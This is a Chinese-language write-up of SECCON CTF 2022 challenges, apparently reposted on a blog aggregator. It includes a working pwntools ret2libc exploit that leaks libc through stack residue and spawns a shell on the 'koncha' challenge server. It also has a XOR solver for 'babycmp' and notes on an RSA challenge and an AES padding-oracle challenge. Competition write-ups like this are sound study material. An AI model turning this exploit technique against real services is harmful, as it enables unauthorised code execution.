[SECCON CTF 2022] 只两个小题pwn_koncha,rev_babycmp

news/2024/5/20 0:05:58 标签: CTF

从一开始入门CTF,SECCON的名字就如雷贯耳,如今参加了又很失望,距离参加这种比赛还是太远了。只是作了两个100人以上作出来的小题。

pwn koncha

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[32]; // [rsp+0h] [rbp-50h] BYREF
  char v5[48]; // [rsp+20h] [rbp-30h] BYREF

  puts("Hello! What is your name?");
  __isoc99_scanf("%[^\n]s", v5);
  printf("Nice to meet you, %s!\n", v5);
  puts("Which country do you live in?");
  __isoc99_scanf("%s", v4);
  printf("Wow, %s is such a nice country!\n", v4);
  puts("It was nice meeting you. Goodbye!");
  return 0;
}

也算是个送分的题,题目很容易看,就两个scanf很显然这里有溢出,只是溢出有一点小限制,猜测第一个会带出一个地址,试了一下猜对了,这里有个小技巧:scanf里取消了回车,如果你输入一个字符,那么里边的残留就会被截断,从而得到不了泄露。这里需要直接输入一个回车,scanf测试到错误跳过。其实就这么一个坑,带出来的是libc 地址,所以不用第二次处理就能直接得到shell了

from pwn import *

#p = process('./p4')
p = remote('koncha.seccon.games', 9001)
context(arch='amd64', log_level='debug')

libc_elf = ELF('./libc-2.31.so')

#gdb.attach(p)
#pause()
p.sendlineafter(b"Hello! What is your name?", b'') #直接回车绕过scanf保留栈内的数据残留
p.recvuntil(b'Nice to meet you, ')
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x1f12e8
libc_elf.address = libc_base
print('libc:', hex(libc_base))

pop_rdi = next(libc_elf.search(asm('pop rdi; ret')))
bin_sh  = next(libc_elf.search(b'/bin/sh\x00'))

pay = b'A'*0x58+ flat(pop_rdi+1, pop_rdi, bin_sh, libc_elf.sym['system'])

p.sendlineafter(b"Which country do you live in?\n", pay)

p.interactive()

rev babycmp

这个也算简单,虽然用了MM但用得比较少,其实长长型也容易理解,不算是坑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *v5; // r12
  size_t v10; // rax
  size_t v11; // rdi
  unsigned __int64 v12; // rcx
  const char *v13; // rsi
  __int64 v14; // rax
  unsigned __int64 v15; // rdx
  int v16; // r12d
  __m128i v18; // [rsp+0h] [rbp-68h]
  char v19[8]; // [rsp+10h] [rbp-58h] BYREF
  __m128i si128; // [rsp+20h] [rbp-48h]
  __m128i v21; // [rsp+30h] [rbp-38h]
  int v22; // [rsp+40h] [rbp-28h]
  unsigned __int64 v23; // [rsp+48h] [rbp-20h]

  v23 = __readfsqword(0x28u);
  _RAX = 0LL;
  if ( argc <= 1 )
  {
    v16 = 1;
    __printf_chk(1LL, "Usage: %s FLAG\n", *argv);
  }
  else
  {
    v5 = argv[1];
    __asm { cpuid }
    v22 = '8\nA';
    strcpy(v19, "N 2022");
    si128 = _mm_load_si128((const __m128i *)&xmmword_3140);
    v21 = _mm_load_si128((const __m128i *)&xmmword_3150);
    v18 = _mm_load_si128((const __m128i *)&xmmword_3160);
    v10 = strlen(v5);
    v11 = v10;
    if ( v10 )
    {
      *v5 ^= 0x57u;
      v12 = 1LL;
      if ( v10 != 1 )
      {
        do
        {
          v13 = &argv[1][v12];
          v14 = v12 / 0x16
              + 2 * (v12 / 0x16 + (((0x2E8BA2E8BA2E8BA3LL * (unsigned __int128)v12) >> 64) & 0xFFFFFFFFFFFFFFFCLL));
          v15 = v12++;
          *v13 ^= v18.m128i_u8[v15 - 2 * v14];
        }
        while ( v11 != v12 );
      }
      v5 = argv[1];
    }
    if ( *(_OWORD *)&si128 == *(_OWORD *)v5 && *(_OWORD *)&v21 == *((_OWORD *)v5 + 1) && *((_DWORD *)v5 + 8) == v22 )
    {
      v16 = 0;
      puts("Correct!");
    }
    else
    {
      v16 = 0;
      puts("Wrong...");
    }
  }
  return v16;
}

从流程上看*v13 ^=.... 这是个类似流加密,也就是生成一个流,然后把明文依次与与流异或。它的流是固定的一个串里的值,偏移通过流计算得到。所以直接还原流,就可以用密文直接异或出明文

v1 = bytes.fromhex('2B2D3675357F1A44591E2320202F2004')[::-1]
v2 = bytes.fromhex('362B470401093C150736506D035A1711')[::-1]
v3 = bytes.fromhex('380A41')[::-1]
v18 = bytes.fromhex('4F43434553206F7420656D6F636C6557')[::-1]+b"N 2022"
c = v1+v2+v3
v15 = 35

v12 = 1
m = [c[0]^0x57]
for v12 in range(1,35):
    v14 = v12 // 0x16 + 2 * (v12 // 0x16 + (((0x2E8BA2E8BA2E8BA3 * v12) >> 64) & 0xFFFFFFFFFFFFFFFC))
    print(v12, v14, v12 - 2*v14)
    m.append(c[v12]^ v18[v12-2*v14])

print(m, bytes(m))

pqpq

这个作出来的人也很多,可惜这有个坎过不去,等WP了

原题

from Crypto.Util.number import *
from Crypto.Random import *
from flag import flag

p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
n = p * q * r
e = 2 * 65537

assert n.bit_length() // 8 - len(flag) > 0
padding = get_random_bytes(n.bit_length() // 8 - len(flag))
m = bytes_to_long(padding + flag)

assert m < n

c1p = pow(p, e, n)
c1q = pow(q, e, n)
cm = pow(m, e, n)
c1 = (c1p - c1q) % n
c2 = pow(p - q, e, n)

print(f"e = {e}")
print(f"n = {n}")
# p^e - q^e mod n
print(f"c1 = {c1}")
# (p-q)^e mod n
print(f"c2 = {c2}")
# m^e mod n
print(f"cm = {cm}")

这里e = 2*65537 显然这是个坑,但是这个坑有点大,超过我的跳跃能力。

先从头看吧,c1p,c1q分别是p^e,q^e然后得到c1,c2其实这里是为了绕人,这两个值其实就是

c1 = p**e - q**e (mod n)
c2 = (p-q)**e = p**e + q**e (mod n)
c1 + c2 = 2*p**e (mod n)
c2 - c1 = 2*q**e (mod n)

这样可以直接用gcd根据 c1,c2求出p,q

然后问题就严重了,e和phi有公因子2,这时候一般由于明文比较小,求出来的就是m**2,但这里加了padding使的明文与n相差不大,所以我就不会了.等wp吧

crypto witches_symmetric_exam

这个题也挺好,题目将flag先进行GCM模式加密再进行OFB模式加密,然后提供解密是否成功的反馈.

from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flag import flag, secret_spell

key = get_random_bytes(16)
nonce = get_random_bytes(16)


def encrypt():
    data = secret_spell
    gcm_cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
    gcm_ciphertext, gcm_tag = gcm_cipher.encrypt_and_digest(data)  #CTR+消息验证码(?)

    ofb_input = pad(gcm_tag + gcm_cipher.nonce + gcm_ciphertext, 16)

    ofb_iv = get_random_bytes(16)
    ofb_cipher = AES.new(key, AES.MODE_OFB, iv=ofb_iv)  #OFB 
    ciphertext = ofb_cipher.encrypt(ofb_input)
    return ofb_iv + ciphertext


def decrypt(data):
    ofb_iv = data[:16]
    ofb_ciphertext = data[16:]
    ofb_cipher = AES.new(key, AES.MODE_OFB, iv=ofb_iv)

    try:
        m = ofb_cipher.decrypt(ofb_ciphertext)
        temp = unpad(m, 16)   #从最后一位padding
    except:
        return b"ofb error"

    try:
        gcm_tag = temp[:16]
        gcm_nonce = temp[16:32]
        gcm_ciphertext = temp[32:]
        gcm_cipher = AES.new(key, AES.MODE_GCM, nonce=gcm_nonce)

        plaintext = gcm_cipher.decrypt_and_verify(gcm_ciphertext, gcm_tag)
    except:
        return b"gcm error"

    if b"give me key" == plaintext:
        your_spell = input("ok, please say secret spell:").encode()
        if your_spell == secret_spell:
            return flag
        else:
            return b"Try Harder"

    return b"ok"


print(f"ciphertext: {encrypt().hex()}")
while True:
    c = input("ciphertext: ")
    print(decrypt(bytes.fromhex(c)))

后一步是OFB,这种模式只加密生成z流,明文跟它异或得到密文,只需要爆破得到z流就可以进行加解密.

得到z的方法就是padding oracle,简单的说如果一断密文结束了,那么最后一个一定是padding如果每段是16字符,明文差3个不够16就在后边被3个3,爆破的方法就是从最后一位改,如果它不报错了就说明末位是1,也就得到了最后一位z然后将最后两位改为2(最后一位得到z后可以算出来,所以需要爆破的是倒数第2位)这样16*256次就能得到一断的z,然后依次向前爆就行了.

可以后边一步GCM会运算一个校验码这个就不会整了,等WP .

后边都看了,都不会,等着吧.


http://www.niftyadmin.cn/n/5815.html

相关文章

前端之道:你知道的Cookie有多少?

&#x1f4dd; 前言 任何服务端开发都少不了性能优化的操作&#xff0c;在前后端使用HTTP接口&#xff08;API&#xff09;进行数据传递时&#xff0c;如果传递数据量太大&#xff0c;势必会造成请求超时或失败。 nodejs为我们提供了一个zlib内置模块&#xff0c;我们可以使用…

操作系统实验——进程与线程

目录 1.使用GCC &#xff08;1&#xff09;参数 &#xff08;2&#xff09;自定义头文件 &#xff08;3&#xff09;makefile脚本 &#xff08;4&#xff09;gdb调试 2.进程 &#xff08;1&#xff09;新建进程&#xff1a;fork() &#xff08;2&#xff09;执行&#…

机器学习之朴素贝叶斯分类

文章目录朴素贝叶斯例题核心代码实现参考朴素贝叶斯 基于朴素贝叶斯公式来估计后验概率P&#xff08;c | x&#xff09;的主要困难在于类条件概率P(x | c)是所有属性上的联合概率&#xff0c;难以从有限的训练样本直接估计而得。因此&#xff0c;朴素贝叶斯就是拥有一个朴素的条…

Java基础37 方法重写与覆盖

重写与覆盖&#xff08;override&#xff09;一、 什么是重写&#xff08;覆盖&#xff09;&#xff1f;二、重写&#xff08;覆盖&#xff09;的使用三、Override的注意事项四、overload与override的区别练习一、 什么是重写&#xff08;覆盖&#xff09;&#xff1f; 方法覆…

3.35 OrCAD中怎么产生Cadence Allegro的第一方网表?OrCAD软件输出Cadence Allegro第一方网表报错时应该怎么处理?

笔者电子信息专业硕士毕业&#xff0c;获得过多次电子设计大赛、大学生智能车、数学建模国奖&#xff0c;现就职于南京某半导体芯片公司&#xff0c;从事硬件研发&#xff0c;电路设计研究。对于学电子的小伙伴&#xff0c;深知入门的不易&#xff0c;特开次博客交流分享经验&a…

04-树6 Complete Binary Search Tree

04-树6 Complete Binary Search Tree 分数 30 作者 陈越 单位 浙江大学 A Binary Search Tree (BST) is recursively defined as a binary tree which has the following properties: The left subtree of a node contains only nodes with keys less than the node’s key. …

CSS实现背景图片模糊——毛玻璃效果 | 浅谈CSS属性 filter、backdrop-filter

&#x1f4ad;&#x1f4ad; ✨&#xff1a; CSS实现背景图片模糊——毛玻璃效果 | 浅谈CSS属性 filter、backdrop-filter   &#x1f49f;&#xff1a;东非不开森的主页   &#x1f49c;: 因为很多东西来不及去做去看可是时间很快总是赶不上&#xff0c;所以要去成长呀&…

Pytorch CIFAR10图像分类 工具函数utils更新v2.0篇

Pytorch CIFAR10图像分类 工具函数utils更新v2.0篇 文章目录 Pytorch CIFAR10图像分类 工具函数utils更新v2.0篇设置随机种子(保证可复现性)得到分类的精度(适配高版本)训练函数最新版本(增加tensorboard函数和tqdm可视化进度条)可视化准确率、损失、学习率变化这里贴一下…